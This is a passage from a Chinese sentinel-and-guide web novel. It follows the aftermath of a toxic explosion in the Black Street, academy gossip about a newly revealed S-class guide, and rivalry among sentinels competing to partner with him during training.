这副翅翼之上生长的每一片羽毛，都有着完美而优雅的弧度，每一根翎羽，都如同流动着的暗金，在不远处废墟的火光与明亮的月光下，流转着熠熠辉光。 他挥动翅翼的姿态从容不迫，身姿笔挺，处处袒露着属于上位者的矜贵与威严。 当那双不染纤尘的皮靴踏上满是狼藉的地面时，背后那对华美无双的翅翼便如同幻影版瞬间崩散，悄然消失无踪。露出翅羽掩映下，那个一身华贵礼服的高大人影。 来人一头深褐近黑的短发，俊美的面容没有任何多余的表情，一双琥珀色的眼眸半垂着平静扫过全场，目光所及之处，连空气仿佛都安静了下来。 此人正是伊莱·凡纳，联盟现存七位S级顶级哨兵之一，三大家族中凡纳家当代嫡系长子，从出生就立于联盟顶端的男人。 曲绍抬起手臂随意抹去脸上的血迹，看着面前这个降临之人，眼中的惊讶之色还未平息，下意识地低语出声：“他怎么会亲自过来这里……” 伊莱踏前一步，目光在场中快速掠过，将周围的一切尽收眼底。他的眼神在已经瘫软在地昏厥了过去的巨鹰身上停留了一瞬，眼中掠过一抹极细微的暗流。而后，又看向已经恢复了人形，浑身都是血污伤口的曲绍。最后，那双通透的眸子顺着那些依然连接着数十名士兵的精神力线，缓缓移动到了江寻身上。 “曲绍先生？”伊莱开口，声音缓缓，低沉悦耳从容不迫，又带着些与生俱来的疏冷，“此次事件的经过，我已从防卫部处得知，对于兰德尔少校在此次事件中的严重失察与鲁莽行动，为各位带来的危险与困扰，我代表凡纳家族，向二位致歉。” “兰德尔出身我们凡纳家族，因为资质优异被选入家族人才库培养，但是我们未曾料到此人心性如此薄弱，又愚蠢自大，这才酿下今日的祸事。”他对着两人微微颔首，动作幅度虽轻，却让人感受到了诚挚的歉意，“他此次犯下大错，是我们凡纳家管教不力的缘故，之后，我会把他带回去接受家族与防卫部的严惩。后续，凡纳家也会对在此次事件中受损的所有民众提供补偿，尽可能弥补各位的损失，希望可以得到大家的谅解。” 他的话语未落，便已经有从悬浮车上随他之后降落下来的数个穿着黑色制服的身影，手脚利落地架起地上的巨鹰，无声无息地将其拖上了身后的大型悬浮车。 他的话语让曲绍与江寻两人，稍稍放松了下来，特别是曲绍，虽对兰德尔今日差点酿下的大祸仍心有芥蒂，此时，在对方的目光下也熄下了追究的念头。 眼看着兰德尔消失在众人面前，伊莱的目光再次转向曲绍，这一次，语气里多了一分认可：“虽说是个心性低劣之辈，可他的实力在家族中亦属顶尖，曲绍先生出身黑街，却能以一己之力成长到这般地步，在正面战斗中逼得他几乎自爆，实力强悍令人印象深刻。” 话落，他的视线最后落在了江寻身上，若有深意地掠过那些被他牵在手中的丝线，那双一直平静的眼眸深处，终于泛起了一丝兴趣。 “这位就是希先生吗？”伊莱的脸上首次露出一抹微笑，深深地看向江寻，“真是闻名不如见面，原来希先生，比传说中的……”他说着话，目光意有所指地扫过江寻领口的盾徽，“更令人惊艳。” 想到曾经造访过诊所的那位来自凡纳家的老先生，江寻抿唇礼貌地回了一个微笑，没有说话。 伊莱似也并不想在这种时候说太多，话题点到为止。 这时，不远处的街道路口光线一暗，传来一阵整齐沉重的脚步声，在所有人的目光下，又一队防卫部士兵抵达了现场。 此刻抵达的这一队士兵，明显已经知道了前一队的遭遇，全员佩戴着能够覆盖住整个头颅的防毒封闭头盔，携带的装备也更加精良，行动之间，不管是令行禁止的超高军事素养，还是身上散发出的力场与威压，都比兰德尔的下属高出一截，明显是更加精锐的一支队伍。 他们一抵达黑街众人安置狂化者的空地前，便迅速散开，在外围建立起了新的警戒线隔离带，替换下了一直负责着安全防护工作的巴顿和其手下，与之前那批遇到意外便惊慌失措的留守士兵形成了鲜明的对比。 见到后续的支援人员纷纷就位，伊莱的目光从江寻身上移开，结束了寒暄。看向曲绍时，面上已经恢复了最初的平静：“接下来，本次事件会由我接手。当务之急是先控制住现场，避免事态进一步恶化。曲绍先生，防卫部的报告上提到，我们配备的通用解毒剂，对这种未知毒素并没有什么效果，你们所使用的是另一种药剂。” 伊莱看向不远处，那些被分装成单人份的制剂：“我们的士兵现在急需有效的预防药剂，我愿意以市场价三倍的价格，收购你们现有所有的药剂储备。当然，所有伤员的后续治疗也由凡纳家负责，不知二位意下如何？” 曲绍与江寻二人对视一眼，彼此都明白伊莱话中的深意。 他们今天的采购行为根本没有刻意遮掩，这种附着剂虽用途不多，却也是一种可以直接在市面上买到的药剂。以对方到现在为止展现出的情报收集能力与凡纳家的家底，他们不相信他弄不到药剂，更不要说他还主动提出用三倍价格购买。 那么，他在这时候说这样的话，意思就很明显了，这是凡纳家为了兰德尔的鲁莽行为，向他们支付的补偿金。 他们虽然对兰德尔的行为愤怒，但所幸没有造成最恶劣的后果，付出代价的也是他自己。此刻，伊莱又代表凡纳家态度诚恳地致歉并拿出了诚意，他们当然也不会不识好歹地与庞大的凡纳家族正面冲突。 “伊莱先生客气了。”曲绍开口，声音因为一晚上的奔劳有些沙哑：“不过，这药剂是由希先生最先发现配置出来的，如何处置，我们全凭希先生定夺。” 听到曲绍的话，江寻也当即开口：“现在控制毒素的进一步扩散是当务之急。这些药剂，阁下尽管取用。不过，这种药剂实际上也只是一种应急的临时药剂，它本身并不能真正解除这种毒素的危害。后续，还希望能够由愈灵殿的专业人员调配出更加对症的解毒剂。至于报酬，现在这里的所有药剂都是由曲老大派人采买的，理应由他来决定。” 曲绍想了想，却是摇了摇头，侧身歉疚地看了一眼江寻：“这次的事件因为有希先生的提前示警，才让我们有了准备，避免了更大的伤亡。刚才在救援的过程中，也是希先生不顾自身危险深入前线，发挥了最大的作用。凡纳家可以负责为我们所有的伤员提供后续的治疗就足够了。更多的报酬与荣誉，应该属于希先生所有。” “曲老大过谦了。”江寻摇了摇头，“今天曲老大和巴顿、丽安娜两位，为黑街所做的一切，大家都看在眼里。更何况还有这么多兄弟一直不顾危险地参与救援，这份报酬是您们应得的。” “这样吧，”江寻思忖片刻，说道：“大家都是在黑街讨生活的，曲老大和我也是旧识，我们就不要互相谦让了，我厚颜取二成报酬，剩下的，请曲老大分给所有今天参与了救援的兄弟吧。” “没有问题。”听到两人的对话，伊莱微笑应声，看向江寻的目光中，更添一分赞许，“我们会立即分发药剂下去，对工厂区展开紧急救援与隔离。二位，你们对这里的情况更加熟悉，除了现在已知的这种通过空气传播的毒素之外，这里是否还有什么其他需要注意的危险？” “现在最重要的是彻底扑灭工厂区的明火，并隔离整个厂区。”曲绍答道，见伊莱仍平静注视着他的双眼，心中咯噔一下，斟酌了一下，又小心补充道，“最初爆炸点的毒素浓度恐怕极高，我们能力有限，始终都没有进去看过，所以具体的情况也并不清楚。只是我们担心工厂内部还有储存起来的毒剂，请阁下务必小心，不要在处理过程中引发二次泄露。” 伊莱微一挑眉，看着曲绍，那双琥珀色的眼眸中掠过一丝极淡的满意：“感谢提醒，二位放心，既然我到了这里，那后续的隔离与处理工作，即使防卫部不管，凡纳家也会负责到底，必定把危险妥善处置，不留后患。” 言罢，他抬手做了一个手势。 那些新近抵达的士兵们便立刻行动了起来。 先是快速分发了药剂下去，接下来，一部分人带着专业的设备冲向了仍然在冒着黑烟的工厂，动作快速地开始灭火并建立物理隔离带。另一部分人，则接手了那群先后被江寻与伊莱双重压制过的失控哨兵，毫不客气地取出了特制的拘束装置，将他们一一控制住，并为仍有反抗意图的人注射了镇静剂，随后抬上了运输车。 现场的局势在这一队士兵加入之后，开始快速步入了正轨。一队佩戴着愈灵殿徽章的向导医护人员，也由后续的车队送到了现场，代替了原本的黑街众人接手了后续的治疗工作。 原本一切都在有条不紊地进行着，直到一声小小的惊呼，打破了平静，引起了一阵骚动。 一位来自愈灵殿的中年向导，原本正在按照流程，为安置点中的狂化哨兵用药剂排毒，再对他进行疏导，唤醒他的意识。可动作间，无意往江寻方向瞥的一眼却吸引到了他的注意。 “嗯？那是……”中年向导疑惑低语，随即眯起眼睛，仔细望向江寻。 在他的视野中，不远处的那名陌生的向导，此刻正半抬着双手，十指之间，大量无形的精神力丝线远远延伸了出去，在他周身的空气中微微摇晃着。 待他看清那丝线另一头连接着的东西，不禁惊讶地瞪大了眼睛。 那头竟是数十个中高阶哨兵！ “这是……什么技能？！”中年哨兵的惊呼，吸引来了更多的目光。在他近旁的好几个向导，也注意到了不远处的异状，纷纷发出低呼。 “……那是什么？用精神力丝线施展的，不都是些低级的基础技能吗？我怎么没见过这个？” “这……这些丝线另一头怎么连着那么多人？难道是群体技能？向导有群体技能吗？” “喂，你们别光看那精神力丝，难道你们没注意到吗？被他用丝线链接着的那些哨兵，好像等级都不低啊！你们看，好多个都能完全拟化，至少是B级吧？” 惊疑声与窃窃私语声，随着发现的增多变得越来越大。 这样的动静，终于引起了带队医护长的注意。 “你们都聚在一起做什么！手里的伤员都处理好了吗？！” 听到医护长的呵斥，许多年轻向导都慌忙散了开来，继续手头的工作，可仍有好几个与医护长相熟的老人，不管她严肃的神情，直接簇拥了上去，向医护长指着不远处的江寻。 “医护长，您快看！那是什么技能？” “咦？”医护长循声看去，先是一楞，片刻后，神情变得惊疑不定起来，待彻底看清江寻手上那一根根如臂指使的丝线，她的脸上已写满了震惊。 “新的群体技能？S级向导？！” 这一声惊呼，彻底引爆了人群。愈灵殿的众多向导们，听到医护长的惊呼，纷纷睁大了眼睛围拢过来。 “什么？！S级向导？是谁？” “真的吗？联盟终于诞生新的S级向导了？” “是谁晋升了？明家的？圣所的？该不会是我们愈灵殿的吧？” 待众人看清江寻那张陌生又年轻的面孔后，这种震惊更是被放大到了极致。 “他是谁？我怎么从来没见过？” “医护长，您没看错吧？他看起来……很年轻啊！” “这……他的徽章是B级的，难道他是报告里提到的那个，在黑街讨生活的那个‘希先生’？” 众人面面相觑，不知道这么一个年轻的S级向导究竟是从哪里突然冒出来的。 医护长望着不远处的人影，心下也有些惊疑不定。直到此处的骚动愈演愈烈，引来了更多疑惑的目光，她这才勉力镇定了心神，严肃下令： “都回到自己的岗位上继续工作，这件事暂时不许外传！”顿了顿，她又补充道，“我先离开一会儿，爱丽丝，接下来的工作由你来接手！” 话毕，便匆匆扯下了身上的工作服，递给了身旁一名女子，脚步匆匆地离开了。 留下的向导们面面相觑，在爱丽丝的监督下继续开始了工作。但每一次眼神交汇之间，都在传递着说不清的好奇与探究。 这处的骚乱短暂地吸引了一下众人的视线，随着医护长的匆匆离去，再次平息了下来。 而处于他们议论中心的江寻，此时正压制着最后一位哨兵，让防卫部的士兵们为其扣上拘束装置。 随着“咔哒”一声轻响，所有的士兵都被完全接管，江寻心念一动，切断了与所有哨兵的精神链接。 那数以百计的精神丝线悄然消散在空中的瞬间，持续维持技能所带来的精神负担骤然消失。江寻深深呼出一口气，一旦放松下来，浓浓的疲惫感便袭了上来，脸色也更加苍白了几分。 “感谢你的援手，希先生。”伊莱的目光再次落在江寻苍白的面孔上，语气中比刚才更多了一分认可，“接下来，这里交给我就可以了。今夜辛苦你了，请回去好好休息吧。明天……还有事要做，不是吗？” 说到最后时，伊莱的话语里似乎别有深意，目光也显得意味深长。 江寻抿了抿唇，更加确定面前的人就是那个曾派管家到他诊所中邀请过他的“伊莱”，但见对方此刻并没有点破他身份的意思，便也默契地不再多说。 伊莱微微偏头，身后一名身穿深灰色管家制服的中年人便立刻低着头快步上前，将两张不记名信用凭证递到了江寻和曲绍两人面前，“这是议定的药剂购买款项，请二位收好。” 江寻两人也没有推脱，痛快地各取下一张凭证。而后，不再停留，对着伊莱点头示意之后，便带着已经疲惫至极的黑街众人，搀扶着伤员，迅速撤离了这片已经被完全封锁了起来的街区。 转身离开之际，江寻似有所觉地回头望了一眼。 伊莱没有离开，依旧站在原地，任夜风吹动他身上一丝不苟的衣领，直直注视着他们离开的方向。 见到江寻回头，他微微颔首，嘴角弯起了一丝几不可察的弧度。 那双通透的琥珀色眸子，在纷乱的人群与灯光的映衬下，幽深难辨，看不分明，划过一道难以捉摸的深意。《 》 145-150 第146章 星环大厅沐浴在柔和的阳光中， 点点细微的尘埃漂浮在清新的空气里，一切都显得如此静谧安宁。 然而，今日的星环大厅却失了平日里专注平静的氛围， 年轻的学员们三三两两地聚在一起低声交谈， 空气中洋溢着一种压抑不住的兴奋。 江寻一进门便察觉到了这有些躁动的氛围， 却并没有太过在意，寻到了他的老位置坐下，可刚摊开笔记， 周围的议论声便不受控制地钻进了他的耳朵里。 “……听说了吗？昨晚黑街那边出大事了！” “我知道！好像是有个废弃工厂炸了？不过重点不是这个！” “对对！重点是， 有人说，昨天在爆炸现场，出现了一位新的S级向导！” 黑街？S级向导？江寻翻书的动作顿了一下，皱了皱眉，把注意力转移到了说话的人身上。 “真的假的？消息可靠吗？是哪位大佬晋升了？防卫部好像没有哪个出名的A级向导吧？” “哪里传出来的是S级啊？我怎么听说就是个B级的向导？不过肯定不是防卫部的人！我表哥在防卫部做后勤，他说昨天出现在现场的那个向导他从来没见过。” “是愈灵殿里传出来的消息， 说是有人亲眼看到他使用了一种新的技能， 还是个群体技能！” “真的假的？我怎么没听说？这人是谁啊？” “千真万确！听说这个向导愈灵殿的人也不认识， 是不久之前突然出现在黑街里的，他还在那里开了一家小诊所， 对外一直宣称自己是B级向导。” “这个人我听过啊！我记得黑街那边大家都叫他‘希先生’，不过这名字一听就是假的， 没人清楚他的来历，只知道他特别年轻， 但是疏导治疗的手法非常厉害！黑街那边现在有什么棘手的病患，大家都会去排队找他。” “对对！我也听说过这个人！这人很怪，你们听说过没，他从来不接受任何精神补偿的！” “啊？那他每天给人治疗， 不会精神匮乏吗？难道真的是S级，精神力雄厚到不需要补偿？” 长期的高压学习生活既平淡又乏味，稍有风吹草动就能引发热议，更不要说这次传出来的消息如此惊人。学员们聚在一起，议论的声音越来越大，众人的表情都十分兴奋，脸上写满了对于未知的惊叹与向往。 “从不接受补偿？那他图什么？单纯赚钱？要赚钱为什么不去愈灵殿？黑街那边的人能有什么钱啊！” “所以才说他神秘啊！听说他昨天用出来的技能，愈灵殿的几位大人都没见过！而且一出手，就压制住了一整支失控的防卫部行动队！他们可都是C级B级的中高级哨兵！这技能肯定到S级了吧！” “也不一定，要真是S级，那塔里不是早翻天了？说不定就是个低级的新技能呢？” “不管他有没有到S级，能自己创造出新的技能就足够厉害了好吧！听说愈灵殿现在正到处打听这人是谁呢！” “如果消息是真的……我的天……咱们联盟已经多少年没出过新的S级向导了？” 一个家境优越的女学员听到这里，压低了声音，兴奋地加入了众人的讨论：“是啊是啊，大家都知道联盟现在登记在册的S级向导只有两位，但其实正儿八经地走上自己道路的S级，只有愈灵殿的上任殿主，玛格丽特大人，但她老人家已经快两百岁了，平日里根本不见人。” 说着，她有点心虚地左右看了看，确认没什么陌生的面孔，这才继续道：“明家那位家主，听说当年完全是被家族用海量的资源灌出来的，也根本没有研发出属于自己的技能，学的是他们明家祖上传下来的S级技能，只能算作准S级。” 她顿了顿，眼中闪烁着兴奋的光：“这次这位新出现的向导，可是联盟这一世代里诞生的唯一一个S级！更何况听说他还特别年轻，很可能还没有绑定哨兵呢！” “你们知道联盟现在有多少顶尖哨兵还在等待着高阶向导绑定吗？光是现有的S级哨兵里面，就有三位还是单身！还有那些快要升上S级的A级巅峰、各大家族的继承人，不知道多少人盯着呢！平时他们为个匹配度合适的B级向导都能争破头，这回要是真来个S级的，那怕不是要争得你死我活了！” 另外几人，一见这位向来消息灵通的同窗也对这个话题感兴趣，忙围着她追问了起来。 “这事是真的吗？那怎么没见塔那边有什么动静啊？” 女孩似乎是知道不少内幕，此时说起来，也十分兴致勃勃：“人是真有这个人，他用的技能也是个新技能，但是愈灵殿那边现在还没最终判定他的表现是否达到S级，听说当天就有上面的人拿着他的影像资料去分析了，但是还没有出结果。” “愈灵殿那边也下了命令，让结果出来前不得外泄消息呢。可昨天在现场的人那么多，这哪能完全瞒得住呀！现在上面很多人都知道了，就等着愈灵殿那边的最终判定呢！我估计呀，等结果出来，联盟上层非打起来不可！当年玛格丽特殿下刚刚晋升的时候，闹出了多大的动静，你们是不知道！” 听到女孩说出这些隐秘的内部消息，众人眼中的兴奋之情大增，纷纷叽叽喳喳地猜测了起来。 “哇！到时候不知道他会选谁，军部的阿克塞尔少将家底弱了些，不过陆家的陆少将和凡纳家的伊莱阁下都超棒啊！好羡慕！” “也有可能像玛格丽特殿下那样，谁也不绑定，一直保持独立吧？” “除了家族和军部，塔这边肯定也想争取他吧？要是前后两任S级向导都出身塔，那咱们塔的话语权肯定就更大了，这下有好戏看了！” 一直到上课铃声响起，大厅中热烈的讨论都没有停止，学员们都因这件事异常兴奋了起来，连课间的十分钟也交头接耳地议论着。 中午，圣所核心区中央食堂。 江寻端着餐盘，刻意选了个僻静的角落。然而，关于那个神秘的S级向导的消息，已然超越了学院的界限传遍，连他隔壁桌坐着的哨兵学院的学员们，也在热火朝天地议论着。 “……消息绝对可靠！我一个远方亲戚就是昨天出任务的防卫部小队队员，他可是B级的！到现在都还没缓过来，在医院里躺着呢！听说这人之前一直在黑街里活动，他的诊所平时只有晚上会开门，谁也不知道他从哪里来的。” “听说他还不挑病人呢，什么等级的都接，只要按等级付钱就行了。那他找绑定哨兵会不会也不看等级啊？那我是不是也可以想象办法打听打听……” “省省吧你！你知道昨天最后去处理后续的是谁？是凡纳家的伊莱少爷！伊莱少爷都第一时间掌握消息了，哪还轮得到你？” “啧，伊莱少爷也不一定能追求到人家吧？最后还不得看对方的意愿，也不知道最后会便宜了哪个幸运的家伙……” 江寻在旁边默默吃着饭，周围的议论和惊叹，听进他耳朵里，只觉得麻烦。 他原本以为昨天使用技能时，离其他人很远，那帮行动小队的哨兵们也几乎失去了神志，没多少人知道。没想到事情会传得这么快，关注的人会这么多，甚至惊动了愈灵殿。 快速地解决掉午餐，江寻叹了口气，心中已经有了决定。黑街那边的诊所，看来又要暂时关闭了。至少在这阵风声过去之前，他暂时还是少用“希先生”的身份露面为好。 他现在对外公布的等级只是B级，就已经吸引来了这么多麻烦，难以周旋。要是突然被爆出实际上是S级，还不知要面对多少威胁与利诱。 可是，他想躲避麻烦，麻烦却会自己找上他。 下午的课程一结束，江寻收拾好了东西正准备离开，一个身影却挡在了他的面前。 江寻抬眼一看，有些诧异，居然是弗兰克。 今日的弗兰克，脸上依旧挂着那副懒洋洋的笑容，可眼神深处却少了几分以往的势在必得，多了些焦躁。 “夏因向导，”弗兰克开口，声音因为故作的温柔反而显得怪异，“今天有时间吗？我希望能和你好好谈一谈。” 江寻抬起眼，看向弗兰克的双眼，为他今日的态度感到奇怪，不过，他的答案还是没变：“抱歉，弗兰克学长，我晚上还有事。” 这番干脆利落，甚至连借口都没有变化的拒绝，似乎终于耗尽了弗兰克的耐心，他脸上的笑容淡了下去，一下子显现出往日里的高傲神情。 他微微眯起眼，盯着江寻那始终没有变化过的表情，忽然嗤笑了一声。 “行，看来我们的夏因向导已经做出了选择。”他露出一个没有温度的笑容，后退半步，摊了摊手，“既然你坚持，那就算了。只希望，你的选择……不会让你后悔。” 他的目光在江寻身上最后停留了一瞬，接着，不再停留，转身离开。 次日上午，星环大厅。 “……好了，今天的课程就到这里，从明天开始连续三天，我们将前往第三号实战场地，进行哨向合作实战演练。”莉亚教授话音刚落，台下顿时响起了一片哀嚎声。她严厉地扫视了一圈，待声音平息下来，才继续说道： “课程的内容包括常规的基础协同、抗压训练，在课程的最后一天，还会举行一场模拟对抗。这次的演练成绩，将直接影响各位本学年的考评结果，请各位学员认真对待，提前联络并确定好你们的合作哨兵搭档，明天上午九点，大厅集合。下课！” 莉亚教授宣布完了通知，整了整手里的教案，转身利落地离开。 她的身影刚一消失在大厅正门后，教室里的气氛瞬间沸腾了起来。 “不是吧？又要开始协同训练了？哎，真不想去！向导明明一般都是在后方支援的，为什么还要做战斗训练啊！”一个体能长期垫底的学员抱头哀叹。 “哎！还得重新约哨兵，上次和我配合的那个哨兵听说已经找到绑定向导了，又得找新人重新磨合了，好麻烦……” “真羡慕夏因啊！这次肯定还会和洛伦茨阁下一起参加吧？有哨兵首席配合，强强联合，最后的模拟对抗岂不是稳拿第一了？” 阵阵议论声飘过耳畔，江寻已经渐渐习惯了这种被注视的感觉，面色如常地收拾着教材。刚随着人流走出星环大厅的大门，他就看到了门外走廊上斜倚着廊柱的那个人——正是大家刚刚还在议论的人物，洛伦茨。 周围的学员一见这个已经在这段时间里熟悉了的身影，顿时兴奋了起来，一边故意绕开两人，一边凑在一起交头接耳，不时朝他们投来张望的目光。 一眼捕捉到江寻的身影，洛伦茨马上站直了身体，脸上浮现出他惯有的那种恰到好处的自信笑容。 在江寻走过他旁边时，自然而然地转身跟上，侧过头去低声说道：“夏因，你们也收到实战演练的通知了吧？这次的演练，又要请你多多指教了。” 听到洛伦茨的话语，江寻还没有回应，周围还没散去的几个学员先投来了羡慕的目光。 “果然！洛伦茨阁下又来找夏因了，这次的模拟对抗看来没戏了。” “夏因向导真的一直都和洛伦茨阁下搭档呀，从来没答应过别人的邀请，他们是不是快要绑定了？” “很有可能……” 低低的议论声还没落下，另一个略带慵懒的声音忽然插了进来。 “哦？哨向协作？听起来挺有意思，不如加我一个怎么样？” 众人循声望去，只见走廊尽头光线一暗，弗兰克慢悠悠地踱步走来，目光在洛伦茨和江寻之间转了一圈，嘴角勾起一抹似有若无的嘲弄，随即，便将目光投向了跟在江寻身后走出大门的桑扶。 “弗兰克！”一发现弗兰克的到来，桑扶马上眼眸一亮，快走几步迎了上来。 弗兰克也没有辜负桑扶的期待，声音带着有些刻意的亲昵，“桑扶，明天的实战课，你来做我的合作向导吧。”说话间，他的眼睛从江寻身上冷冷地掠过，才落在了瞬间容光焕发的桑扶身上，“可别让我失望。” 弗兰克的主动相邀，让桑扶高兴地几乎要雀跃起来，他立刻上前挽住了弗兰克的手臂，一双亮晶晶的眼睛期待地紧紧盯着弗兰克，声音甜腻而高昂，一下子吸引了所有人的注意：“当然没问题，弗兰克！我一定会全力以赴的！绝对不会比任何人差！”他说着话，还故意朝江寻投去了一个得意而挑衅的眼神。 一见到弗兰克出现，周围几个机灵的学员立刻围了上去。 “哇！弗兰克少爷亲自来邀请桑扶的吗？桑扶你也太厉害了吧！” “这下有意思了，有弗兰克少爷在，洛伦茨阁下恐怕也要紧张一下喽。” “有些人呀，仗着自己能匹配上的人多，以为自己多了不起呢，成天摆架子，也不知道在高傲些什么……”有人故意凑到了桑扶身边，阴阳怪气地说道，目光瞟向了江寻这边。 洛伦茨微微蹙眉，正要开口，又一个最近总出现在核心区的女声嘹亮地插了进来：“呦！这么热闹！那不如带我一个啊！” 话音未落，一个人影单手一撑走廊栏杆，利落地翻了进来，落地时，背后背负的巨剑在石板路上砸出沉闷的一声，她一头鲜艳的红发随风扬起，浑身写满了洒脱自由，正是季千钧。 “夏因！我都追求你这么久了，也该给我个机会了吧？怎么样，这一次演练找我呗？我保证比这毛头小子更配合你！”她咧嘴一笑，示威一般瞪了洛伦茨一眼。 洛伦茨脸上的笑容淡了下去，冰蓝色的眼眸看向季千钧。这女人简直像块牛皮糖似的，不管被江寻拒绝多少次，总是出现在他们面前，不依不饶地再次发出邀请，甚至当着他的面挖墙脚，让他惯常的笑脸都难以维系下去。 “季千钧，夏因已经拒绝你很多次了，你还跑到我面前来抢我的搭档？是真不把我放在眼里？”洛伦茨声音沉了下来，少有地起了些火气。 “那又怎么样？上一次拒绝我，不一定这一次也会拒绝。搭档又不是绑定关系，每次都是你，也该换人试试了吧？”季千钧满不在乎地斜睨着他，甚至故意上前一步，逼近到洛伦茨面前，“夏因只要同意一次，我就能让他再也不想选别人！这是成年人之间的事，你嘛……”她故意斜着眼睛，拖长语调，上下打量洛伦茨一番，“还差得远呢！” “你！”洛伦茨的面色彻底冷了下来。 “怎么，不服？”季千钧毫不退让，甚至再次上前了一步，故意在他面前挺了挺胸，“被圣所里这些毛都没长齐的小屁孩一直捧着，你就真以为自己了不起了？想动手？我随时奉陪！” 两个顶尖的A级哨兵为了争夺江寻的搭档资格，在走廊里剑拔弩张，这一幕引地周围所有围观的人都屏住了呼吸。 弗兰克脸色难看至极，这两人竟然完全没把他放在眼里，一见面就自顾自地争执了起来。 桑扶看到几人的争执，再一次把周围所有的目光都吸引了过去，心中愤恨不已，故意提高了音量：“有些人就是自命清高，怎么，看着这么多高阶哨兵为你争风吃醋很得意是不是？还真把自己当回事了！” 季千钧立刻转头瞪向桑扶：“你说什么？再说一遍试试？我乐意你管得着吗？你是不是嫉妒自己没人追求啊？” 洛伦茨也冷下脸来：“桑扶，请注意你的言辞。” 弗兰克冷哼一声，一把拽过桑扶，对着三人冷笑道：“泥腿子就是泥腿子，没见过好东西，见到个B级向导就能争得头破血流，你们就护着他吧，我倒要看看，你能清高到什么时候，我们走着瞧！”，说完，拽着桑扶便头也不回地离开了。 弗兰克两人一走，洛伦茨与季千钧两人又重新进入了针锋相对的状态。 江寻只觉得一阵头痛，他真的很讨厌这种被当成争夺对象的感觉。 “季千钧女士，”他开口，清晰地打断了两人之间的对峙，“感谢你的邀请，但我已经答应了洛伦茨。” “啧！”季千钧的脸上闪过不服，撇了撇嘴，似乎还想再说什么，江寻却已经转向了洛伦茨，对他点了点头：“明天上午九点，不见不散。” 洛伦茨眼中掠过一丝笑意，周身紧绷的气氛顿时松懈下来，他朝江寻微微颔首，重新整理了一下衣服，瞟了季千钧一眼，转身离开。 季千钧嗤笑一声，再回头看向江寻时，面上已经重新挂上了她那自信的笑容：“行吧，那这次就让给他。”她潇洒地一挥手，声音爽朗，“那我明天再来问！” 话毕，也不再纠缠，扛起巨剑，大跨步地转身就走。 * 第二天一早，众人就按时集合在了星环大厅中，莉亚教授重新走上讲台，为众人叮嘱了许多注意事项，这才安排着众人乘坐飞艇，抵达了位于哨兵岛外围的第三号实战场地。 飞艇一飞入这里的领空，随队的学员们便都惊讶地睁大了眼睛。 “这……这也太大了吧？” “不愧是塔啊，就是大手笔！” 江寻也应声看向了窗口，饶是他已经有了心里准备，也被塔的底蕴震撼地睁大了眼睛。 这片地域非常大，从飞艇上往下望去，只能看到一片郁郁葱葱，相当原始的丛林景象。 待飞艇抵达了目的地，开始缓缓减速下降，众人这才看清了在那些绿色掩映之间，隐藏着的众多人工障碍与插着小旗子的任务点。 这个所谓的第三号实战场地，居然是一整座面积庞大的原始岛屿！ 第147章 “嗤！” 飞艇缓缓泊入停靠位， 莉亚教授当先开启舱门，带着学员们走下了飞艇。 刚跨步迈上舷梯，学员们的兴奋议论声便被凛冽的狂风吹散。 空气有些湿黏， 带着些冰冷的金属味道， 江寻顶风眯着眼扫视了一圈， 便将周围的环境尽收眼底。 他们此刻的位置，位于一座占地巨大的建筑群的顶端，放眼望去， 能看到围绕着这座建筑群四面， 划分出不同区域的模拟实战场。 不愧是独占一岛之地打造出的专业实训基地，这些区块内部的环境与设施看起来都十分完备。 有的区块遍布着各种废弃交通工具与残垣断壁；有的是高低起伏不定的沙漠与零星绿洲；有的仿建出了狭窄幽深的街道小巷；有的仍维持着原始的自然风貌。江寻甚至还在一瞥间，看到远方在云雾中露出一角的空中楼阁以及一片被单独隔离出的海域。 圣所中的许多向导，都从小成长在单纯简单的环境之中，突然面对这般景象，脸上都不禁露出各异的神色。 根本没有给大家缓和的时间， 所有学员到齐后， 莉亚教授便带着人乘坐升降梯进入了脚下的建筑内部， 简单说明了今日的所有课程项目和注意事项，要求所有人换上了课程指定的制式装备后， 便将学员们按照小组分散开来，分拨派往各个项目点开始了正式的演练。 毕竟不是第一次实战演练， 学员们很快从开始的手忙脚乱，迅速进入了状态。紧张的竞争氛围缓缓弥漫了开来。 江寻与洛伦茨的实战经验非常丰富， 在以往的协同训练中，总是名列前茅，可今天的实训过程，却格外的不顺。 “……啊， 对不起呀，江寻向导，我和搭档的匹配度不太高，配合起来总是控制不好。”协同越障环节中，江寻刚刚踏上一道关键碍口，便猛地被身后传来的一股力道狠狠一拽，斜侧着身子，摔下了高台。 抬眼看去，那名将他拽下来的哨兵正故作歉意地对他笑着，脚下却毫不停顿，快速越过江寻冲到了前面。 “你没事吧？”另一条路线上的洛伦茨当即中断了自己的进程，几步越过中间隔着的障碍，从地上扶起了江寻。 “没事。”江寻借着洛伦茨的力道站了起来，快速扫过他们前后的几张面孔，心里已明白了大概。 洛伦茨也被今天层出不穷的意外干扰，惹得沉下了眉眼，面带不善地凝望向刚刚越过江寻的那组学员。 “是弗兰克？”这种打压排挤，在哨兵学院那边更加常见，洛伦茨一路走来，不知因为自己的出身问题遇到过多少次，一眼便看出了其中的端倪。 “应该是，不过，可能还不止他们。”江寻随手拍了拍身上沾染上的泥土，视线敏锐地捕捉到了不远处，正和弗兰克一起通过另一条路径的桑扶的目光。 不愧是能自主考上高级研修班的向导，桑扶虽然平日里看起来一副肩不能扛手不能提的模样，全神贯注时，竟也能跟得上弗兰克这个即将迈入A级的哨兵的步伐。两人顺利完成了这一个项目之后，弗兰克远远朝着江寻两人投来了一个略带挑衅的目光，又低头对着身边的桑扶面带赞许地说了句什么。 就这么一句话，便让桑扶瞬间容光焕发起来，他得意地瞥了一眼这头被中断了进程，略带狼狈的江寻二人，下巴抬得更高了。 洛伦茨冰蓝色的眼眸中已有冷意凝聚，完全显露出了作为高阶哨兵的锋芒。他看向江寻，微扬了扬下巴示意：“需要我去解决吗？” 江寻摇了摇头，目光扫过身前身后，那些不怀好意地看着他们的视线，“不必，一些上不得台面的小把戏而已，专门去解决反而浪费了我们的时间，正中他们下怀。就按我们的原计划来就好。” 洛伦茨也冷静了下来，明白了江寻的意思。 接下来的关卡中，两人按部就班地一道一道完成，不去在意被反超的排名，而随着他们的名次下降，遇到的各种“意外”也明显少了许多。 就这样，一上午的时间过去，弗兰克与桑扶两人以绝对的优势，在排位榜上占据了榜首的位置，而江寻两人，则堪堪排在了第五。 这史无前例的落后排名，也让周围的议论声渐起。 “哎！看来再有实力，也比不过人家有个好家世……” 